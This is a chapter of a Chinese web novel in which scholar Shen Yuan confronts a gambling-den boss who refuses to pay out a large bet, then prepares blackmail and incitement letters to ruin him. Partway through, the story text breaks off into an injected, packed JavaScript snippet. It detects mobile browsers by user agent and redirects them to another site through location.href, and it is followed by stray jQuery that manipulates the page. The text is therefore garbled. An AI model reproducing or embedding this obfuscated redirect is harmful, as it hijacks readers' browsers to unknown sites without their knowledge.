国子监门外的青石板路上,人影渐稀。
夕阳把两人的影子拉得很长,显得有些单薄。
沈怨走在前面,步履平稳,看不出半点刚赢了大钱的狂喜。
李狗跟在后头,手心里全是汗,那张盖着“四海通”鲜红印戳的银票,被他攥得皱皱巴巴,仿佛握着的是块烫手的火炭。
他快走两步,凑到沈怨身侧,声音压得很低,带着明显的颤音。
“公子,这可是四十五万两……城西那帮人吃人不吐骨头,咱们真就这么直愣愣地去?”
沈怨没停步,目光落在远处坊市的飞檐上。
“欠债还钱,天经地义。”
“可那是‘聚宝盆’啊!听说他们养了不少打手……”
“他们敢赖,我就敢让他们把这几年吞进去的,连本带利吐出来。”
沈怨的语气平淡,就像是在讨论晚饭加个菜那样简单。
半个时辰后,城西,聚宝盆。
这地方门面不大,但门口那两座汉白玉的石狮子却擦得油光水滑。
还没进门,一股混杂着脂粉、汗臭和劣质酒水的味道便扑面而来。
沈怨领着李狗,穿过喧闹拥挤的前堂,径直往后院走。
守在后院门口的是个满脸横肉的壮汉,衣襟大敞,露出一胸口的黑毛,正歪在太师椅上百无聊赖地剔牙。
见两个穿着书院青衫的学生走过来,他眼皮都没抬一下。
“去去去,兑散碎银子去前头柜台排队,这儿是给贵客结大额的地方。”
李狗被这凶神恶煞的模样吓得缩了缩脖子,但看了一眼身前的沈怨,又硬着头皮把那张已经被汗水浸湿的票据递了过去。
“我们……就是来结大额的。”
壮汉嗤笑一声,漫不经心地接过票据。
然而下一刻,他剔牙的手僵在了半空。
他把那张纸凑到灯笼底下,翻来覆去看了三遍,又对着暗记比对了一番,脸上的横肉不自然地抽动了两下。
四十五万两。
他在聚宝盆看了五年场子,经手最大的一笔也不过三万两。
这笔钱,足够把这间赌坊买下来,还能再饶上两条街的铺面。
“等着。”
壮汉扔下两个字,抓着票据匆匆钻进了内堂。
约莫过了一盏茶的功夫,厚重的棉布帘子被掀开。
走出来一个身穿宝蓝色绸缎长衫的中年男人。
男人四十上下,鹰钩鼻,眼窝深陷,手里盘着两颗油光锃亮的文玩核桃,发出咔哒咔哒的脆响。
这便是聚宝盆的掌柜,道上人称“豹哥”。
豹哥也没看票据,那双阴鸷的眼睛像钩子一样,在沈怨和李狗身上来回刮了几遍。
“两位小公子,手气不错。”
他的声音有些沙哑,透着一股常年混迹市井的油滑劲儿。
“开了这么多年盘口,还是头一回见有学子押这么大的注,居然还真让你们蒙着了。”
沈怨没接话,只是静静地看着他。
那种眼神很奇怪,不像是在看一个活人,倒像是在审视账本上一行出错的数据。
豹哥被看得有些不舒服,干咳了一声,将票据拍在红木桌案上。
“一场辩论而已,下注四十五万两,两位莫不是在跟哥哥开玩笑?”
“票据是真的,我们也认。”
豹哥话锋一转,脸上堆起一抹皮笑肉不笑的表情。
“但这笔数目实在太大,按咱们这行的规矩,得查验个三五天。万一……是有人串通了消息使诈呢?”
他挥了挥手,像是在赶两只恼人的苍蝇。
“三天后,你们再来。”
“到时候这钱能不能兑出来,那得看哥哥我的心情,也得看账上的流水方不方便。”
这就是明摆着要赖账了。
李狗气得脸涨得通红,刚想争辩,却见豹哥身后那几个壮汉已经围了上来,一个个捏着指骨,发出令人牙酸的爆响。
“小子,也不打听打听这是谁的地盘?再多废话一句,信不信让你们横着出去?”
空气仿佛凝固了一般。
沈怨终于动了。
他上前一步,伸手从桌上拿回那张票据,动作慢条斯理,仔细地折好,重新塞回怀里。
“豹哥,是吧?”
沈怨的声音依旧没有波澜。
“聚宝盆,城西永安坊甲字三号,开业五年零三个月。明面上是赌球、牌九,暗地里做的是印子钱的买卖,月息一分五。”
豹哥盘核桃的手微微一顿,脸上的假笑僵住了。
沈怨仿佛没看见,继续说道。
“你最大的对家是城东‘金满堂’的王老虎。上个月初三,为了争南城码头的漕运生意,你们在乱葬岗火拼了一场。”
“死了三个,伤了七个。顺天府那边,你花了八百两银子才把案子压下去。”
“你手底下养了二十七个打手,三个账房。其中那个姓刘的账房,他小舅子在户部当差,专门给你递送朝廷关于盐铁管制的内幕消息。”
豹哥的额角渗出一层细密的汗珠。
这些事,有些连他枕边人都不知道,眼前这个毛头小子是怎么晓得的?
“你……”
他张了张嘴,喉咙里像是卡了块鱼刺。
沈怨没给他喘息的机会。
“你在城外置办了三处宅子。”
“翠柳巷那个,是个唱曲儿的;百花楼的头牌,你也包了一年;还有一位……”
沈怨顿了顿,嘴角勾起一丝极淡的弧度。
“是你拜把子兄弟陈麻子的老婆,住在城南小甜水巷。”
豹哥的脸色瞬间由红转白,又由白转青,手里的核桃“啪”的一声掉在地上,滚出去老远。
那是他最大的死穴。
要是让陈麻子知道这事,他明天就得横尸街头。
沈怨拍了拍怀里的册子。
“我这人记性不太好,所以习惯把听到的、查到的,都记在纸上。”
“你欠我四十五万两,在我的账目里,这叫‘应收账款’。”
“你选择违约,这笔账就成了‘坏账’。”
沈怨上前半步,逼视着豹哥有些慌乱的眼睛。
“处理坏账,我有我的一套流程。”
“豹哥,三天太久了。”
“我只给你一天。”
“明天这个时候,如果我看不到钱,你就该考虑给自己挑一口什么样的棺材了。”
说完,他转身就走,没再多看那群呆若木鸡的打手一眼。
出了聚宝盆,夜风一吹,李狗才发现自己后背全湿透了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239741|197673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“公……公子……”
李狗腿还有点软,说话都不利索。
“咱们就这么走了?”
“不然呢?”沈怨头也不回,“等着他请我们吃宵夜?”
回到书院时,已是月上中天。
舍友裴度还没睡,正就着昏黄的油灯苦读。
见两人回来,李狗一脸灰败,沈怨却是一副若有所思的模样,裴度放下手中的书卷。
“怎么?兑钱不顺利?”
李狗刚想诉苦,沈怨摆了摆手。
“一点小小的财务纠纷。”
裴度皱了皱眉:“是聚宝盆那个豹哥?那人是个滚刀肉,不好对付。要不要我修书一封,托家里的关系跟顺天府尹打个招呼?”
“不必。”
沈怨走到书桌前,铺开一沓崭新的宣纸。
“杀鸡焉用宰牛刀。对付这种地方性的小额坏账,动用官方渠道成本太高,效率也太低。”
他提起笔,饱蘸浓墨。
“李狗,研墨。”
李狗愣了一下,机械地走过去磨墨。
灯火下,沈怨运笔如飞。
他写的不是锦绣文章,也不是策论诗词,而是一封封短小精悍的信笺。
有的措辞严厉,罗列了聚宝盆偷税漏税的详细账目,甚至精确到了铜板。
有的语气暧昧,详细描述了豹哥几个外室的住址、收到的礼物,以及某些不堪入耳的私密细节。
还有的充满了挑拨离间,暗示豹哥准备吞并其他帮派的场子,独霸京城地下盘口。
不知过了多久,沈怨停了笔。
桌上整整齐齐摆放着五十多封信。
信封上用蝇头小楷标注着不同的名字:王老虎、城西兵马司指挥李大人、翠柳巷张寡妇、豹哥的结义兄弟陈麻子……
这哪里是信,分明是一张催命的符咒。
沈怨吹干最后一封信上的墨迹,将其余的分成几摞,递给已经看傻了眼的李狗。
“天亮之前,把这些送到信封上写的那些人手里。”
他的声音里带着一丝疲惫,但眼神却亮得吓人。
“别走正门,找后巷的乞丐,或者收夜香的,给几个铜板,让他们塞进门缝里。”
李狗哆哆嗦嗦地接过那几摞信,觉得手里捧着的不是纸,而是几十斤随时会炸的火药。
沈怨拿起最后一封,也是唯一一封没有署名的信。
信封上只写了四个字:豹哥亲启。
他将信递给李狗,指尖轻轻敲了敲桌面。
“至于这封……”
“去找聚宝盆附近最落魄的那个乞丐,给他二十个铜板,让他务必亲手交到豹哥手上。”
“顺便,替我带一句话。”
李狗咽了口唾沫,喉结艰难地滚动了一下:“什……什么话?”
沈怨转过头,目光投向窗外沉沉的夜色。
“告诉他,有人花钱,请他读一读自己的墓志铭。”
李狗抱着信冲进夜色里,脚步声很快消失在回廊尽头。
沈怨走到窗边,推开窗棂。
夜风灌进来,吹得桌上残留的墨香四散。
他看着远处那片漆黑的城区,那里似乎正酝酿着一场无声的风暴。
“明天早上,这城西的天,怕是要变了。”